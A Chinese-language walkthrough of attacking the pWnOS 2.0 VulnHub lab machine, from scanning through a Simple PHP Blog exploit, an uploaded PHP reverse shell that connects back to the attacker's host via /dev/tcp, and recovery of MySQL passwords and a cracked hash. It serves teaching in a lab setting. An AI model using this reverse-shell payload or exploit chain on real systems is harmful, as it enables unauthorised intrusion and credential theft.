PWNOS:2.0(vulnhub靶機)

文章目錄

  • 靶機地址
  • 主機發現、端口掃描
  • web滲透
    • 目錄探測
    • 漏洞利用
    • 權限提升
  • 解密工具地址
  • 總結

靶機地址

https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z

這里如果是windows系統直接使用vmware或者virtubox打開可以使用,如果是mac系統需再去做一個配置,比較麻煩

這里給一個參考地址:https://blog.csdn.net/qq_35664104/article/details/131757633

主機發現、端口掃描

han@Kali:~/RedTeam$ sudo arp-scan -l 
han@Kali:~/RedTeam$ sudo nmap -sn 192.168.100.0/24

在這里插入圖片描述
通過主機發現掃描到了主機的ip地址,進一步進行端口掃描以及下一步的利用:


han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap --min-rate 10000 192.168.100.104 -p- #使用-p-掃描全端口,min-rate是掃描速率
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap -sT -A -O -p22,80 192.168.100.104   #-sT是建立tcp掃描(全連接掃描) -A是全面掃描檢測包括版本號,操作系統,同時還會利用腳本掃描 -O 是探測操作系統類型 -p時端口號
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap -sU -p22,80 192.168.100.104  #-U參數是建立UDP掃描
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap --script=vlun 192.168.100.104    #--script=vuln 使用腳本掃描用于常見的漏洞的探測

第一步掃描我們很清晰的看到有80端口和22端口
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
到這里我們可以清晰的看到,80端口給我們暴露的攻擊面比22端口多,這里我們吧22端口的優先級排后,使用80嘗試滲透

web滲透

目錄探測

這里介紹3個工具的探測,其實web目錄探測工具很多,根據自己的習慣來寫就好了

han@Kali:~/RedTeam/PWNOS:2.0$ sudo gobuster dir -u http://192.168.100.104 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
han@Kali:~/RedTeam/PWNOS:2.0$ sudo dirsearch -u http://192.168.100.104
han@Kali:~/RedTeam/PWNOS:2.0$ sudo dirb http://192.168.100.104

這里也只是根據我自己的一些習慣給到的一些參數,這里可以根據自己的需求,結合ai等來做一些具體的配置更好的配合我們來做滲透測試

在這里插入圖片描述

在這里插入圖片描述
這里同理,對blog目錄進行探測
在這里插入圖片描述

http://192.168.100.104/blog/
http://192.168.100.104/blog/config
http://192.168.100.104/includes
http://192.168.100.104/index.php
http://192.168.100.104/login

漏洞利用


在這里嘗試使用sql inject 但是…在這里插入圖片描述在這里插入圖片描述
到此好像這一個利用手法沒有后續可以利用的點,所以這里準備換方法
這里我們看到了有blog的一個目錄,還有一個登陸框
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
這里也并沒有可利用的,這里想到blog目錄可能是一個cms,需要我們做一個信息收集

han@Kali:~/RedTeam/PWNOS:2.0$ whatweb http://192.168.100.104/blog

在這里插入圖片描述
這里我們發現了是Simple PHP Blog 0.4.0 cms 所以這里可以嘗試從這里入手

han@Kali:~/RedTeam/PWNOS:2.0$ searchsploit Simple PHP Blog 0.4.0

在這里插入圖片描述
這里看到了有一個rb 一個pl可以使用

使用search -m 1191.pl將其下載到本地

在這里插入圖片描述
這里給我們提示,需要加入地址和參數e,我們嘗試構造

這里提到可以使用2來得到一個密碼文件的hash值 使用3能創建一個用戶密碼,所以這里使用3來創建用戶密碼嘗試看能不能使用login登陸框來登陸

han@Kali:~/RedTeam/PWNOS:2.0$ ./1191.pl -h http://192.168.100.104/blog -e 2

這里使用-h要加入url地址,并且使用/blog目錄,起初在這里嘗試了很多次都出現了問題,后來發現是必須使用/blog才能成功

han@Kali:~/RedTeam/PWNOS:2.0$ ./1191.pl -h http://192.168.100.104/blog -e 3 -U admin -P admin

在這里插入圖片描述
這里提示我們設置了admin用戶和admin密碼,這里嘗試使用登陸在這里插入圖片描述
這是好事,登陸成功了,這里我們看到是有一個上傳的接口,這也是好事!

han@Kali:~/RedTeam/PWNOS:2.0$ echo '<?php exec("/bin/bash -c '\''bash -i >& /dev/tcp/192.168.100.106/4444 0>&1'\''");?>' > reverse_shell.php                                                                                                                                                                     
han@Kali:~/RedTeam/PWNOS:2.0$ cat reverse_shell.php 

由于這里是使用echo來輸入 ,所以需要使用轉義符號來
在 Shell 中使用 單引號 包裹整個 PHP 內容,此時內部的單引號需要通過 ‘’’ 轉義 轉義之后才是我們的‘
因為這里存在上傳點而且是php的環境,所以我們嘗試使用php代碼來執行反彈shell,這里還可以使用msf生成反彈shell上線msf,也可以使用webshell工具來執行,根據自己的需求,也根據環境的不同來選擇

在這里插入圖片描述

針對上面命令做一個簡單的介紹:

<?php ?> 這里頭的代碼會被當作php語句而執行

exec()函數是php中用于執行系統命令的函數
/bin/bash -c 通過-c參數來執行后續的字符串命令
bash -i >& /dev/tcp/… 我們熟悉的反彈shell命令
bash -i 啟動交互式的shell
/dev/tcp/是linux的特殊設備,用于建立TCP連接
>&是將標準輸出和標準的錯誤重定向到TCP連接
0>&1 將標準輸入重定向到標準輸出,形成雙向通信通道

上傳反彈即可

han@Kali:~/RedTeam/PWNOS:2.0$ nc -lnvvp 4444

在這里插入圖片描述
在這里插入圖片描述

權限提升

這里可以看到已經得到shell,需要我們進一步進行提權了
在這里插入圖片描述
非常好我們找到了一個有意義的文件

mysql連接的文件
root
goodday

在這里插入圖片描述
這里就可以嘗試登陸,mysql或者是使用22端口ssh登陸,這里就是可以想到的思路
在這里插入圖片描述
在這里插入圖片描述
但是非常遺憾,這里都不能登陸,思路再次斷了

這里就只能做進一步的信息收集了

在這里插入圖片描述

說來也巧,這里剛回退到上一個目錄,又發現了一個mysql的連接文件

在這里插入圖片描述

還是root,但是密碼不同了
root
root@ISIntS

嘗試登陸

非常好,使用root@ISIntS 這個密碼直接登陸成功了,還是root權限

這里其實我想到,既然有數據庫連接文件,就應該是和數據庫有什么關系,所以這里就又進行了一些信息收集

在這里插入圖片描述
但是這里卡著沒反應了

當時 的第一反應我以為是密碼錯了,可是后來一直卡著沒反應,沒辦法只好重新反彈,我突然想到會不會是終端不友好的問題,所以我嘗試使用了python來啟動一個交互好點的終端

在這里插入圖片描述
這是好事,可以使用python起一個終端

www-data@web:/var/www/blog/images$ python -c 'import pty;pty.spawn("/bin/bash")'

在這里插入圖片描述

這里和我們想的是一樣的

在數據庫中給你做一波信息收集

mysql> show databases;
mysql> use ch16;
mysql> select * from users;

在這里插入圖片描述

這里得到了一個用戶Dan的密碼c2c4b4e51d9e23c02c15702c136c3e950ba9a4af

han@Kali:~/RedTeam/PWNOS:2.0$ hash-identifier 'c2c4b4e51d9e23c02c15702c136c3e950ba9a4af'

使用hash-identifier來識別一下hash值是哪種加密類型,方便我們去判斷如何解密

在這里插入圖片描述
這里是sha-1加密類型,這里需要使用工具來嘗試了

解密工具地址

https://www.somd5.com/

在這里插入圖片描述

成功得到密碼:killerbeesareflying

嘗試登陸ssh

在這里插入圖片描述

很遺憾這里登錄不成功

看來這里就只有通過root直接登陸,而dan用戶沒有更多的后續了,那就到此為止了!

總結

整體來說,就是要有一個滲透測試思路,最重要的還是思路,需要我們多多重復多多練習才有思路,文章只做技術交流,希望對各位有幫助!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/80438.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/80438.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/80438.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Gartner魔力象限(Gartner Magic Quadrant)

Gartner魔力象限&#xff08;Gartner Magic Quadrant&#xff09;是由全球領先的研究和咨詢公司Gartner發布的市場研究報告&#xff0c;廣泛應用于IT行業&#xff0c;尤其是在技術供應商評估中。它以圖形化的方式展示了不同技術領域中各個供應商的市場表現&#xff0c;幫助企業…

信創時代開發工具選擇指南:國產替代背景下的技術生態與實踐路徑

&#x1f9d1; 博主簡介&#xff1a;CSDN博客專家、CSDN平臺優質創作者&#xff0c;高級開發工程師&#xff0c;數學專業&#xff0c;10年以上C/C, C#, Java等多種編程語言開發經驗&#xff0c;擁有高級工程師證書&#xff1b;擅長C/C、C#等開發語言&#xff0c;熟悉Java常用開…

人口老齡化丨AI健康小屋如何實現防病于未然?

隨著全球老齡化加劇&#xff0c;“銀發浪潮” 對醫療資源、養老護理和健康管理提出了嚴峻挑戰。 由此智紳科技應運而生&#xff0c;七彩喜智慧養老系統構筑居家養老安全網。 AI 健康小屋作為銀發科技的創新載體&#xff0c;通過智能化健康監測、精準化風險預警、便捷化醫療銜…

【金倉數據庫征文】金倉數據庫:開啟未來技術腦洞,探索數據庫無限可能

我的個人主頁 我的專欄&#xff1a; 人工智能領域、java-數據結構、Javase、C語言&#xff0c;希望能幫助到大家&#xff01;&#xff01;&#xff01; 點贊&#x1f44d;收藏? 目錄 引言&#xff1a;數據庫進化的下一站 —— 未來科技的無限可能金倉數據庫簡介&#xff1a;國…

#什么是爬蟲?——從技術原理到現實應用的全面解析 VI

什么是爬蟲?——從技術原理到現實應用的全面解析 V 二十六、異構數據采集技術突破 26.1 PDF文本與表格提取 import pdfplumber import pandas as pddef extract_pdf_data(pdf_path):"""從PDF中提取文本和表格數據:param pdf_path: PDF文件路徑:return: 包含…

關于Spring Boot構建項目的相關知識

一 前端框架 1 VUE框架 1.1 簡介 Vue是一款流行的JavaScript框架&#xff0c;用于構建用戶界面和單頁面應用程序。它的設計初衷是為了簡化Web開發過程&#xff0c;使開發者能夠快速構建交互性強、響應速度快的Web應用。 1.2 優點 簡單易用&am…

PPO 強化學習機械臂 IK 訓練過程可視化利器 Tensorboard

視頻講解&#xff1a; PPO 強化學習機械臂 IK 訓練過程可視化利器 Tensorboard PPO 強化學習過程中&#xff0c;設置了verbose會顯示數據&#xff0c;但還是不夠直觀&#xff0c;這里上一個可視化利器&#xff0c;Tensorboard&#xff0c;實際上stable baselines3中已經有了這部…

UE5的 Modify Curve 藍圖節點

In Unreal Engine’s Animation Blueprints, the Modify Curve node lets you drive and alter any named Animation Curve on your character at runtime. The Apply Mode setting on that node controls how the “new” value you feed in (via the added curve‐input pin)…

【Hive入門】Hive分區與分區表完全指南:從原理到企業級實踐

引言 在大數據時代&#xff0c;高效管理海量數據成為企業面臨的核心挑戰。Hive作為Hadoop生態系統中最受歡迎的數據倉庫解決方案&#xff0c;其分區技術是優化數據查詢和管理的關鍵手段。本文將全面解析Hive分區技術的原理、實現方式及企業級最佳實踐&#xff0c;幫助您構建高性…

jdk-8u202-linux-x64.tar.gz官方下載地址

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 點擊下載&#xff0c;需要先注冊oracle賬號&#xff0c;很好注冊隨便寫&#xff0c;注冊完登錄就可以下載了。目前就Oracle JDK 8u201/202 是最后兩個可免費用于商業用途的公開版本

OpenCv高階(十)——光流估計

文章目錄 前言一、光流估計二、使用步驟1、導庫讀取視頻、隨機初始化顏色2、初始化光流跟蹤3、視頻幀處理循環4、光流計算與可視化5、循環控制與資源釋放完整代碼 總結 前言 在計算機視覺領域&#xff0c;光流估計是捕捉圖像序列中像素點運動信息的核心技術。它描述了圖像中每…

AIGC實戰之如何構建出更好的大模型RAG系統

一、RAG 系統核心架構解析 1. 檢索模塊深度優化 1.1 混合檢索技術實現 技術原理&#xff1a;結合稀疏檢索&#xff08;BM25&#xff09;與密集檢索&#xff08;DPR&#xff09;&#xff0c;通過動態權重分配提升檢索精度。例如&#xff0c;在醫療領域&#xff0c;BM25 負責精…

Rust 學習筆記:函數和控制流

Rust 學習筆記&#xff1a;函數和控制流 Rust 學習筆記&#xff1a;函數和控制流函數&#xff08;Function&#xff09;語句和表達式帶返回值的函數注釋控制流if 表達式使用 else if 處理多個條件在 let 語句中使用 if循環loop從循環中返回值循環標簽消除多個循環之間的歧義帶 …

c#加密證件號的中間部分,改為*號

前言 使用場景&#xff1a;在我項目中&#xff0c;我需要給前端提供接口&#xff0c;所以我要吧證件號進行加密。例如&#xff1a;411421199510225612&#xff0c;這是一個身份證號&#xff0c;18為的&#xff0c;那么我加密完成之后就會是 411421********5612&#xff0c;類似…

存儲新勢力:助力DeepSeek一體機

寶子們&#xff0c;今天要給大家分享一個超酷的科技話題——各大廠商陸續推出的DeepSeek訓推一體機方案。 【集成人工智能訓推平臺】 它就像是一個超級智能的大腦中樞&#xff0c;為各種復雜的AI任務搭建AI模型流水線。預置算法模版、訓練框架、推理框架、模型任務調度和自動…

同樣機身尺寸下伺服電機比無刷電機扭矩更大的原因

點擊下面圖片帶您領略全新的嵌入式學習路線 &#x1f525;爆款熱榜 88萬閱讀 1.6萬收藏 在電機應用領域&#xff0c;伺服電機和無刷電機&#xff08;BLDC&#xff09;都是常見的動力源&#xff0c;但兩者在性能上存在顯著差異。尤其是在相同機身尺寸下&#xff0c;伺服電機的…

.dat 文件一般可以用什么打開

DAT文件是一種常見的文件格式,通常由多種應用程序生成。打開DAT文件的方法取決于其內容和生成它的軟件。 使用文本編輯器 如果DAT文件是一個簡單的文本文件,可以使用Windows的記事本或macOS的文本編輯器打開它。 右鍵點擊文件 -> 選擇“打開方式” -> 選擇“記事本”…

Java實現加密(七)國密SM2算法的簽名和驗簽(附商用密碼檢測相關國家標準/國密標準下載)

目錄 一、國密標準中&#xff0c;關于SM2簽名驗簽的定義二、SM2簽名和驗簽的實現原理1. 前置知識2. 簽名生成過程3. 驗簽過程4. 數學正確性證明5. 安全性與注意事項 三、帶userId、不帶userId的區別1. 核心區別2.算法區別(1) 哈希計算過程(2) 簽名驗簽流程 四、Java代碼實現1. …

Feign接口調用失敗降級機制

是的&#xff0c;通過 FallbackFactory 實現的降級邏輯在 Feign 接口調用失敗時會被觸發&#xff0c;但需要注意以下關鍵點以確保降級生效&#xff1a; 一、代碼有效性分析 降級邏輯是否生效&#xff1f; ? 是的&#xff0c;當 Feign 調用 BaseServiceFeign 接口的 updateMoni…